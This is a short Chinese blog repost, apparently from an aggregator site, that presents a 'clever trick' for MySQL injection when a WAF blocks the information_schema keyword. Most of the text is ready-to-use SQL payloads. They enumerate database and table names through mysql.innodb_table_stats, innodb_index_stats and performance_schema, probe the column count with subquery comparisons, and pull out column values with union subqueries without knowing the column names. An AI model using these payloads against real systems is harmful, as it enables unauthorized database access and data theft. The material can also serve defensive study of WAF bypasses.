jdbc获取mysql第二行表信息_【奇技淫巧】MySQL另类方法获取元数据信息
生活随笔
收集整理的這篇文章主要介紹了
jdbc获取mysql第二行表信息_【奇技淫巧】MySQL另类方法获取元数据信息
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
問:在進行MySQL注入時,我們通常是通過information_schema元數據來獲取表名、字段名信息,從而讀取相應數據。但是如果waf或其它過濾了information_schema關鍵字,那么還有什么方法可以讀取元數據信息呢?答:從MySQL5.5開始,默認存儲引擎稱為InnoDB,但是在MySQL5.6及更高版本中,InnoDB創建了2個新表。innodb_index_stats和innodb_table_stats。這兩個表都包含所有新創建數據庫名及表名。
select * from mysql.innodb_table_stats;select * from mysql.innodb_index_stats;select table_name from mysql.innodb_table_stats where database_name=schema();performance_schema方法:
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();表名知道了,那如何提取列名呢?根本不需要探測字段個數,當然你也可以用order by, group_by:
select (select*from users limit 1)=(select 1);select (select*from users limit 1)=(select 1, 2);
提取指定字段值:
select(select a from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);select(select b from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);
發表于國外最近某篇文章,覺得不錯,實驗了下發出來。
總結
以上是生活随笔為你收集整理的jdbc获取mysql第二行表信息_【奇技淫巧】MySQL另类方法获取元数据信息的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: android mvc使用方法,详细学习
- 下一篇: html5登录界面源代码_最新版本尤娜博